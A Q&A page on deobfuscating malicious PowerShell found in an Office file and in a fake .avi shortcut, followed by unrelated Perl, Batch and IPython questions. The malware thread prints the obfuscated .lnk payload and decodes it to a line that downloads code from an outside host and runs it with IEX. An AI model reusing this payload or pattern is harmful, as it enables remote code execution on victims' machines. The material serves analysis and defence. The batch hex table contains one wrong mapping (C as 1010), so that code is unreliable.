Shell or bash commands in office files - powershell

While analyzing a doc file, I see some power shell commands such as
Execute Command - params "PowersHeLL & ( $sHELlId[1]+$ShEllID[13]+'X')( [StRinG]::joiN( '' ,([CHaR[]] (62 , 116, 109 ,84 ,119 , 86,88 ,58,39, 58 , 116 ,127 ,109 ,55, 117,120,112, 127 ,121,110,58 ,104,123 , 116,126, 117,119, 33 ,62 , 116 ,78 ,116 , 86, 77 ,95 ,58, 39 ,58 , 116 ,127 , 109
or
Run - params [Function FqLHmmC ([vwPoLiLXwz]): 7 statement(s), 'cmd /c ^f^O^r ; ; /^F , ; " tokens= 2 delims=EFHMN" ; %^h ; ; ^iN ; ( , \' ; ft^^YpE , ; ^| ; fiNd^^str , H^^C \' ; ; ) ; ^do , ; %^h; ; n8ZAmId/vs~*t^#^Y)PUA^ ; ; h0XobFu/^C " , , ( (s^ET ^ ^` ^ =E=6^l2u^\\^h^s\'^y4D^w^XoWJNzL#^b^anGx, ^Ri^{f.P1+Fcme^3^v^0/jB^(krd;^}Z^)-^:tM^Sg^$^pOC)
How these are interpreted? For example, I guess 62 , 116, 109 ,84 are decimal values. However, converting them to ascii are not meaningful. The second one, e.g fiNd^^str , H^^C \' ; ; ) ; ^do sounds like a bash script. But it is not meaningful.
Does that mean, they are obfuscated? or obfuscation is something else?!

How these are interpreted?
Well, these are parsed and interpreted like any other PowerShell code. It's just harder to read for humans. [char]116 is just that. You can type it into PowerShell and find out what it is (ascii code for t).
Does that mean, they are obfuscated?
Yes.
Easiest way to deobfuscate is running the ScriptBlock logging enabled. The eventlog will unveil what actually is being executed. Since you don't know what you are going to execut: Only do this in an isolated sandbox environment!

Related

Why does Perl DBI interface fail to INSERT to Postgres table?

I have develped a Perl script that can format data into CSV format, and want to save the data into a Postgres database table.
I'm following this tutorial as a guideline for how to interface to Postgres. I verified in the PPM that I have the same versions installed as the tutorial: 1.634 version of DBI and the 3.5.3 version of DBD::Pg installed in Perl 5.22.1 in Windows 10 x64. The database is Postgres 12 on Windows Server 2008r2.
The first part of the Perl script reads, parses, and formats one data record as CSV.
This is an example of one CSV data record:
"2020-05-10 20:39:16+0","0.528239011764526","15:39 05/10/2020","0x1c","LOW STATUS","0x85","Normal","73.8","32","29.11","29.31","61.2","29","80","0.7","2.5","22.6","378.64","3009","7","0.00","0.00","0.97","0.97","11.96"
This is stored in $SQLstring before entering the database interface snippet below:
This is the code I have modified from the tutorial, which compiles and runs without errors.
# ------------- Postgres Database Connection --------------
# Connection config
my $dbname = 'MyDatabase';
my $host = '192.168.1.1';
my $port = 5432;
my $username = 'myuser';
my $password = 'mypassword';
# Create DB handle object by connecting
my $dbh = DBI -> connect("dbi:Pg:dbname=$dbname;host=$host;port=$port",
$username,
$password,
{AutoCommit => 0, RaiseError => 1}
) or die $DBI::errstr;
# Trace to a file
$dbh -> trace(1, 'tracelog.txt');
# Copy from STDIN into the table
my $SQL = "COPY AmbientWeather (
datetimestamp ,
CurrTime ,
IndoorID ,
inBattSta ,
Outdoor1ID ,
outBattSta1 ,
inTemp ,
inHumi ,
AbsPress ,
RelPress ,
outTemp ,
outHumi ,
windir ,
avgwind ,
gustspeed ,
dailygust ,
solarrad ,
uv ,
uvi ,
rainofhourly ,
rainofdaily ,
rainofweekly ,
rainofmonthly ,
rainofyearly
)
FROM STDIN WITH DELIMITER ',' CSV HEADER";
my $sth = $dbh->do($SQL);
# putcopy data from saved line in CSV format
$dbh->pg_putcopydata($SQLstring);
$dbh->pg_putcopyend(); # finished with one line
$dbh->commit or die $DBI::errstr;
exit;
This runs without errors, but the database is unchanged. No record is created.
This is the trace log, which does not show any notable errors, but I am not really familiar with the syntax:
DBI::db=HASH(0x3c62268) trace level set to 0x0/1 (DBI # 0x0/0) in DBI 1.634-ithread (pid 19436)
<- DESTROY(DBI::db=HASH(0x3c62268))= ( undef ) [1 items] at Ambient_Parser.pl line 158
DBI::db=HASH(0x3c76ca8) trace level set to 0x0/1 (DBI # 0x0/0) in DBI 1.634-ithread (pid 2108)
<- do('COPY AmbientWeather (
datetimestamp ,
CurrTime ,
IndoorID ,
inBattSta ,
Outdoor1ID ,
outBattSta1 ,
inTemp ,
inHumi ,
AbsPress ,
RelPress ,
outTemp ,
outHumi ,
windir ,
avgwind ,
gustspeed ,
dailygust ,
solarrad ,
uv ,
uvi ,
rainofhourly ,
rainofdaily ,
rainofweekly ,
rainofmonthly ,
rainofyearly
...')= ( -1 ) [1 items] at Ambient_Parser.pl line 177
<- pg_putcopydata('"2020-05-10 20:35:59+0","0.547099113464355","15:35 05/10/2020","0x1c","LOW STATUS","0x85","Normal","73.6","32","29.11","29.31","61.3","24","193","3.8","4.9","22.6","380.54","3082","7","0.00","0.00","0.97","0.97","11.96"
')= ( 1 ) [1 items] at Ambient_Parser.pl line 182
<- pg_putcopyend= ( 1 ) [1 items] at Ambient_Parser.pl line 183
<- commit= ( 1 ) [1 items] at Ambient_Parser.pl line 184
<- DESTROY(DBI::db=HASH(0x3c76ca8))= ( undef ) [1 items] at Ambient_Parser.pl line 193
For reference line 193 is the final exit; in the file.
I must be missing something, but I don't see what it is. Can you point out my error?
Edit: I compared the options in the tutorial's command in my $SQL = "COPY.... with Postgres COPY command documentation. The tutorial adds options CSV HEADER, which are not seen in Postres docs. I'm not sure why those options are used in the tutorial, or why they cause a silent failure. I removed them and now I am getting errors.
Code from above now looks like this:
rainofyearly
)
FROM STDIN WITH DELIMITER ','";
These errors are now being output:
DBD::Pg::db pg_putcopyend failed: ERROR: invalid input syntax for type real: ""0.520319223403931""
CONTEXT: COPY ambientweather, line 1, column fetchelapsed: ""0.520319223403931"" at Ambient_Parser.pl line 186.
DBD::Pg::db pg_putcopyend failed: ERROR: invalid input syntax for type real: ""0.520319223403931""
CONTEXT: COPY ambientweather, line 1, column fetchelapsed: ""0.520319223403931"" at Ambient_Parser.pl line 186.
Issuing rollback() due to DESTROY without explicit disconnect() of DBD::Pg::db handle dbname=MyDatabase;host=192.168.1.1;port=5432 at Ambient_Parser.pl line 186.
I'm investigating why the real value is being seen as double quoted. This is the same CSV format I have used from the PSQL command line with COPY FROM , and reals were accepted as shown above.
You told it the first line would be an ignored header. But you only sent it one line. So there were no data lines sent.
CSV and HEADER are separate options. These are both present (separately) in the docs you link to. You need to keep CSV, otherwise the quoting is not understood.

How to convert binary to hex in Batch or Powershell?

I wondering if there is a way to convert binary to hexadecimal, in Batch or Powershell language.
Exemple :
10000100 to 84
01010101 to 55
101111111111 to BFF
In a simple way, I’m not very good in Batch or Powershell.
I will appreciate any kind of information
Converting a binary string to an integer is pretty straightforward:
$number = [Convert]::ToInt32('10000100', 2)
Now we just need to convert it to hexadecimal:
$number.ToString('X')
or
'{0:X}' -f $number
(pure batch)
#ECHO OFF
SETLOCAL
CALL :CONVERT 10000100
CALL :CONVERT 101111111111
CALL :CONVERT 1111111111
GOTO :EOF
:: Convert %1 to hex
:CONVERT
SET "data=%1"
SET "result="
:cvtlp
:: If there are no characters left in `data` we are finished
IF NOT DEFINED data ECHO %1 ----^> %result%&GOTO :EOF
:: Get the last 4 characters of `data` and prefix with "000"
:: This way, if there are only say 2 characters left (xx), the result will be
:: 000xx. we then use the last 4 characters only
=
SET "hex4=000%data:~-4%"
SET "hex4=%hex4:~-4%"
:: remove last 4 characters from `data`
SET "data=%data:~0,-4%"
:: now convert to hex
FOR %%a IN (0 0000 1 0001 2 0010 3 0011 4 0100 5 0101 6 0110 7 0111
8 1000 9 1001 A 1010 B 1011 C 1010 D 1101 E 1110 F 1111
) DO IF "%%a"=="%hex4%" (GOTO found) ELSE (SET "hex4=%%a")
:found
SET "result=%hex4%%result%"
GOTO cvtlp
This solution uses a parsing trick in the for %%a loop. The original value of hex4 is compared in the if and where the if fails, the value tested is assigned to hex4 so that when a match is found, the previous value tested remains in hex4.

Malware Using .Lnk file to Powershell

I downloaded a file which I almost didn't think twice over, but the target (of the shortcut) caught my eye:
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
There's no doubt that something fishy is going on here. I understand the first three parameters, but what I couldn't quite figure out is how code of a payload like this would work in just a basic shortcut?
My guess, it runs a Powershell with
NoProfile
WindowStyle 1 = Minimized
ExecutionPolicy ByPass = Nothing is blocked and there are no warnings or prompts
then dot-sources the remaining code
Let's split this code up:
( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]
$ShellId is a built-in Powershell variable:
>$ShellId
Microsoft.PowerShell
So ( $shelliD[1]+$SHeLlID[13]+'x') transforms to iex (= Invoke-Expression)
The rest of the code is ([StrIng]::jOin( '',[CHar[]](36 ,97,115, 112 , 120,32 ,61,[omitting rest of code]. I gues the char array contains ascii characters. If so, we can transform it to:
$aspx =
Summary:
powershell.exe -NoProfile -WindowStyle 1 -ExecutionPolicy ByPass . iex "$aspx = ...."
So it invokes the code starting with $aspx = in a minimized Powershell window without warnings or prompts.
Maybe the code ran through one of these obfuscation methods.
Hope that helps.
I got the same. The file looked like a AVI and I opened it quickly to check the quality of the movie. It was actually a well-disguised shortcut:
PS C:\Users\pharg\Downloads\tv> $sh = New-Object -COM WScript.Shell
PS C:\Users\pharg\Downloads\tv> $target = $sh.CreateShortcut('C:\Users\pharg\Downloads\tv\A Simple Favor 2018.DVDRip720p
.XviD.AC3-EcHO.avi.lnk')
PS C:\Users\pharg\Downloads\tv> $target
FullName : C:\Users\pharg\Downloads\tv\A Simple Favor 2018.DVDRip720p.XviD.AC3-EcHO.avi.lnk
Arguments : -NoPr -WINd 1 -eXEc ByP . ( $shelliD[1]+$SHeLlID[13]+'x') ([StrIng]::jOin( '',[CHar[]](36 ,97,115,
112 , 120,32 ,61,32 ,40 ,40, 78, 101 , 119, 45,79 , 98, 106,101,99, 116 , 32 ,83, 121 , 115,116,
101 ,109,46 ,78 , 101, 116, 46,87 ,101,98 , 67 ,108,105,101,110 ,116,41, 41 , 46, 68,
111,119,110,108, 111 , 97 , 100, 83,116, 114 ,105 ,110,103,40, 39 , 104, 116 ,116,112 ,58,47, 47
,122, 118 , 98 ,46,117, 115 ,47,49 ,39 ,41, 59 ,73 , 69 , 88, 32 ,36, 97, 115 ,112 , 120 ) ) )
Description : .avi
Hotkey :
IconLocation : C:\WINDOWS\System32\imageres.dll,18
RelativePath :
TargetPath : C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
WindowStyle : 7
WorkingDirectory : %SYSTEMROOT%\System32\WindowsPowerShell\v1.0
The target here translates to:
$aspx = ((New-Object System.Net.WebClient)).DownloadString('http://zvb.us/1');IEX $aspx
I opened http://zvb.us/1 and it seems I have had some code run on my PC. At this point, I am not sure what has happened. No symptoms...

IPython - Raise exception when a shell command fails

I'm using IPython as a system shell.
Is there a way to make IPython to raise an exception when the shell command fails? (non-zero exit codes)
The default makes them fail silently.
As of IPython 4.0.1, !cmd is transformed into get_ipython().system(repr(cmd)) (IPython.core.inputtransformer._tr_system()).
In the source, it's actually InteractiveShell.system_raw(), as inspect.getsourcefile() and inspect.getsource() can tell.
It delegates to os.system() in Windows and subprocess.call() in other OSes. Not configurable, as you can see from the code.
So, you need to replace it with something that would call subprocess.check_call().
Apart from monkey-patching by hand, this can be done with the IPython configuration system. Available options (viewable with the %config magic) don't allow to replace TerminalInteractiveShell with another class but several TerminalIPythonApp options allow to execute code on startup.
Do double-check whether you really need this though: a look through the system_raw()'s source reveals that it sets the _exit_code variable - so it doesn't actually fail completely silently.
If you use ! to execute shell commands, errors will pass silently
!echo "hello" && exit 1
hello
If you use the %%sh cell magic to execute the shell command, errors will raise:
%%sh
echo "hello" && exit 1
hello
---------------------------------------------------------------------------
CalledProcessError Traceback (most recent call last)
<ipython-input-10-9229f76cae28> in <module>
----> 1 get_ipython().run_cell_magic('sh', '', 'echo "hello" && exit 1\n')
~/anaconda/envs/altair-dev/lib/python3.6/site-packages/IPython/core/interactiveshell.py in run_cell_magic(self, magic_name, line, cell)
2360 with self.builtin_trap:
2361 args = (magic_arg_s, cell)
-> 2362 result = fn(*args, **kwargs)
2363 return result
2364
~/anaconda/envs/altair-dev/lib/python3.6/site-packages/IPython/core/magics/script.py in named_script_magic(line, cell)
140 else:
141 line = script
--> 142 return self.shebang(line, cell)
143
144 # write a basic docstring:
<decorator-gen-110> in shebang(self, line, cell)
~/anaconda/envs/altair-dev/lib/python3.6/site-packages/IPython/core/magic.py in <lambda>(f, *a, **k)
185 # but it's overkill for just that one bit of state.
186 def magic_deco(arg):
--> 187 call = lambda f, *a, **k: f(*a, **k)
188
189 if callable(arg):
~/anaconda/envs/altair-dev/lib/python3.6/site-packages/IPython/core/magics/script.py in shebang(self, line, cell)
243 sys.stderr.flush()
244 if args.raise_error and p.returncode!=0:
--> 245 raise CalledProcessError(p.returncode, cell, output=out, stderr=err)
246
247 def _run_script(self, p, cell, to_close):
CalledProcessError: Command 'b'echo "hello" && exit 1\n'' returned non-zero exit status 1.

Perl operator precendece for a combination of list and unary operators

I came across an odd case, related to operator precendence, I guess. Consider this test program:
use strict;
use warnings;
use Test::More;
my $fn = 'dummy';
ok( ! -e $fn, 'file does not exists' );
ok( not -e $fn, 'file does not exists' );
done_testing();
The output is:
ok 1 - file does not exists
not ok 2
# Failed test at ./p.pl line 10.
1..2
# Looks like you failed 1 test of 2.
The question is: Why does the second test fail? ($fn is assumed known to be non-existent)
See also: List Operator Precedence in Perl.
After reading perlop, my guess is that at least five operators could be involved here:
Terms and List Operators (Leftward)
List Operators (Rightward)
Named Unary Operators
Logical Not
Comma Operator
perl -MO=Deparse shows that your code is interpreted as:
use Test::More;
use warnings;
use strict;
my $fn = 'dummy';
ok !(-e $fn), 'file does not exists';
ok !(-e $fn, 'file does not exists');
done_testing();
-e $fn is false.
But 'file does not exists' is essentially true.
So, the list (-e $fn, 'file does not exists') is true.
Therefore, !(...) is false, and the test fails.
Why does the second test fail?
Because Perl's parser handles ! and not differently. You can see this in Perl's grammar, which is defined in perly.y in the Perl source.
The rule for ! kicks in as soon as the parser encounters a ! followed by a term:
| '!' term /* !$x */
{ $$ = newUNOP(OP_NOT, 0, scalar($2)); }
On the other hand, the rule for not only kicks in when the parser encounters a not followed by a list expression (a list of terms joined by commas*):
| NOTOP listexpr /* not $foo */
{ $$ = newUNOP(OP_NOT, 0, scalar($2)); }
Note that the action for both rules is the same: add a new unary opcode of type OP_NOT to the parse tree. The operand is the second argument (term or listexpr) in scalar context.
* Or a single term, but this has very low precedence.
Tracing the parse
You can see the above rules in action by compiling perl with -DDEBUGGING and running with -Dpv, which turns on debug flags for tokenizing and parsing.
Here's what the parser does with !:
$ perl -Dpv -e'ok(! -e "foo", "bar")'
...
Next token is token '(' (0x1966e98)
Shifting token '(', Entering state 185
Reading a token:
Next token is token '!' (0x1966e98)
Shifting token '!', Entering state 49
Reading a token:
Next token is token UNIOP (0x110)
Shifting token UNIOP, Entering state 39
Reading a token:
Next token is token THING (0x1966e58)
Shifting token THING, Entering state 25
index: 2 3 4 5 6 7 8 9
state: 8 15 103 68 185 49 39 25
token: #1 remember stmtseq amper '(' '!' UNIOP THING
value: 0 22 (Nullop) rv2cv 26635928 26635928 272 const
Reducing stack by rule 184 (line 961), THING -> term
Entering state 128
Reading a token:
Next token is token ',' (0x1966e58)
index: 2 3 4 5 6 7 8 9
state: 8 15 103 68 185 49 39 128
token: #1 remember stmtseq amper '(' '!' UNIOP term
value: 0 22 (Nullop) rv2cv 26635928 26635928 272 const
Reducing stack by rule 199 (line 999), UNIOP term -> term
Entering state 150
Next token is token ',' (0x1966e58)
index: 1 2 3 4 5 6 7 8
state: 1 8 15 103 68 185 49 150
token: GRAMPROG #1 remember stmtseq amper '(' '!' term
value: 0 0 22 (Nullop) rv2cv 26635928 26635928 ftis
Reducing stack by rule 148 (line 829), '!' term -> termunop
Entering state 62
index: 1 2 3 4 5 6 7
state: 1 8 15 103 68 185 62
token: GRAMPROG #1 remember stmtseq amper '(' termunop
value: 0 0 22 (Nullop) rv2cv 26635928 not
...
In other words, the parser reads in
( ! -e "foo"
reduces -e "foo" to a term, and then adds a logical negation opcode to the parse tree. The operand is -e "foo" in scalar context.
Here's what the parser does with not:
$ perl -Dpv -e'ok(not -e "foo", "bar")'
...
Reading a token:
Next token is token '(' (0x26afed8)
Shifting token '(', Entering state 185
Reading a token:
Next token is token NOTOP (0x26afed8)
Shifting token NOTOP, Entering state 48
Reading a token:
Next token is token UNIOP (0x110)
Shifting token UNIOP, Entering state 39
Reading a token:
Next token is token THING (0x26afe98)
Shifting token THING, Entering state 25
index: 2 3 4 5 6 7 8 9
state: 8 15 103 68 185 48 39 25
token: #1 remember stmtseq amper '(' NOTOP UNIOP THING
value: 0 22 (Nullop) rv2cv 40566488 40566488 272 const
Reducing stack by rule 184 (line 961), THING -> term
Entering state 128
Reading a token:
Next token is token ',' (0x26afe98)
index: 2 3 4 5 6 7 8 9
state: 8 15 103 68 185 48 39 128
token: #1 remember stmtseq amper '(' NOTOP UNIOP term
value: 0 22 (Nullop) rv2cv 40566488 40566488 272 const
Reducing stack by rule 199 (line 999), UNIOP term -> term
Entering state 65
Next token is token ',' (0x26afe98)
index: 1 2 3 4 5 6 7 8
state: 1 8 15 103 68 185 48 65
token: GRAMPROG #1 remember stmtseq amper '(' NOTOP term
value: 0 0 22 (Nullop) rv2cv 40566488 40566488 ftis
Reducing stack by rule 105 (line 683), term -> listexpr
Entering state 149
Next token is token ',' (0x26afe98)
Shifting token ',', Entering state 162
Reading a token:
Next token is token THING (0x26afdd8)
Shifting token THING, Entering state 25
index: 3 4 5 6 7 8 9 10
state: 15 103 68 185 48 149 162 25
token: remember stmtseq amper '(' NOTOP listexpr ',' THING
value: 22 (Nullop) rv2cv 40566488 40566488 ftis 40566424 const
Reducing stack by rule 184 (line 961), THING -> term
Entering state 249
Reading a token:
Next token is token ')' (0x26afdd8)
index: 3 4 5 6 7 8 9 10
state: 15 103 68 185 48 149 162 249
token: remember stmtseq amper '(' NOTOP listexpr ',' term
value: 22 (Nullop) rv2cv 40566488 40566488 ftis 40566424 const
Reducing stack by rule 104 (line 678), listexpr ',' term -> listexpr
Entering state 149
Next token is token ')' (0x26afdd8)
index: 1 2 3 4 5 6 7 8
state: 1 8 15 103 68 185 48 149
token: GRAMPROG #1 remember stmtseq amper '(' NOTOP listexpr
value: 0 0 22 (Nullop) rv2cv 40566488 40566488 list
Reducing stack by rule 196 (line 993), NOTOP listexpr -> term
Entering state 65
Next token is token ')' (0x26afdd8)
index: 1 2 3 4 5 6 7
state: 1 8 15 103 68 185 65
token: GRAMPROG #1 remember stmtseq amper '(' term
value: 0 0 22 (Nullop) rv2cv 40566488 not
...
In other words, the parser reads in
( not -e "foo"
reduces -e "foo" to a term, reads in
, "bar"
reduces term, "bar" to a listexpr, and then adds a logical negation opcode to the parse tree. The operand is -e "foo", "bar" in scalar context.
So, even though the opcodes for the two logical negations are the same, their operands are different. You can see this by inspecting the generated parse trees:
$ perl -MO=Concise,-tree -e'ok(! -e "foo", "bar")'
<a>leave[1 ref]-+-<1>enter
|-<2>nextstate(main 1 -e:1)
`-<9>entersub[t1]---ex-list-+-<3>pushmark
|-<6>not---<5>ftis---<4>const(PV "foo")
|-<7>const(PV "bar")
`-ex-rv2cv---<8>gv(*ok)
-e syntax OK
$ perl -MO=Concise,-tree -e'ok(not -e "foo", "bar")'
<c>leave[1 ref]-+-<1>enter
|-<2>nextstate(main 1 -e:1)
`-<b>entersub[t1]---ex-list-+-<3>pushmark
|-<9>not---<8>list-+-<4>pushmark
| |-<6>ftis---<5>const(PV "foo")
| `-<7>const(PV "bar")
`-ex-rv2cv---<a>gv(*ok)
-e syntax OK
With !, the negation acts on the file test:
|-<6>not---<5>ftis
While with not, the negation acts on a list:
|-<9>not---<8>list
You can also dump the parse tree as Perl code using B::Deparse, which shows the same thing in a different format:
$ perl -MO=Deparse,-p -e'ok(! -e "foo", "bar")'
ok((!(-e 'foo')), 'bar');
-e syntax OK
$ perl -MO=Deparse,-p -e'ok(not -e "foo", "bar")'
ok((!((-e 'foo'), 'bar')));
-e syntax OK
With !, the negation acts on the file test:
!(-e 'foo')
While with not, the negation acts on a list:
!((-e 'foo'), 'bar')
And as toolic explained, a list in scalar context evaluates to the last item in the list, giving
ok( ! 'bar' );
where ! 'bar' is falsey.
After rereading the perlop documentation, here is what I believe is going on:
ok( not -e $fn, 'file does not exists' );
Perl parses this statement from left to right. The first thing it encounters is a function call (also called a list operator, if the function is builtin or uses prototypes and operates on lists). The function call ok( ... ). is a described as a TERM in the documentation:
A TERM has the highest precedence in Perl. They include variables,
quote and quote-like operators, any expression in parentheses, and any
function whose arguments are parenthesized.
A list operator (not accurately defined in the perlop page, but briefly mentioned in the perlsub page) is also regarded as a TERM if followed by parenthesis. The perlop says:
If any list operator (print(), etc.) or any unary operator (chdir(),
etc.) is followed by a left parenthesis as the next token, the
operator and arguments within parentheses are taken to be of highest
precedence, just like a normal function call.
Now the parser continues with the expression not -e $fn, 'file does not exists'. That is, it must resolve the arguments to the ok function.
The first thing it encounters here is the not operator. The documentation says:
Unary "not" returns the logical negation of the expression to its
right. It's the equivalent of "!" except for the very low precedence.
Then it must determine "the expression to its right". Here, the parser finds the file test operator -e. The documentation says:
Regarding precedence, the filetest operators, like -f , -M , etc. are
treated like named unary operators, but they don't follow this
functional parenthesis rule. That means, for example, that
-f($file).".bak" is equivalent to -f "$file.bak" .
and
The various named unary operators are treated as functions with one
argument, with optional parentheses.
Now the unary operators (without a following parenthesis) have higher precendence than the not operator, so the parser continues, trying to determine the argument of the -e operator. It now encounters a new TERM, (we are now considering this expression: $fn, 'file does not exists' ). The TERM is $fn and since TERMs have the highest precedence, it is evaluated immediately. Then it continues to the comma operator. Since the comma operator has lower precedence than the filetest operator, and the filetest operator is unary (only takes a single argument), the parser decides it is finished with the argument of the filetest operator and evaluates -e $fn. Then it proceeds with the comma:
Binary "," is the comma operator. In scalar context it evaluates its
left argument, throws that value away, then evaluates its right
argument and returns that value. This is just like C's comma operator.
In list context, it's just the list argument separator, and inserts
both its arguments into the list. These arguments are also evaluated
from left to right.
Since the comma operator has higher precedence than the not operator the parser finds it is still not finished with the argument of not. Instead it discovers that the argument of not is a list (due to the comma operator), it has already evaluated the left argument of the comma operator, -e $fn, and discards that value, and proceeds with the right argument of the comma operator which is the string 'file does not exists'. This is evaluated, and the parser then finds the closing parenthesis ), which means that the argument of not is the latter string. Negating a nonempty string is false.
And finally, the parser finds that the argument to the ok function is false, and runs ok( 0 ).
To relate directly to perlop, all you need to notice is that ! is above , is above not in the table:
right ! ~ \ and unary + and -
...
left , =>
...
right not
That is, the comma binds things together "more tightly" than not does, but "less tightly" than ! does.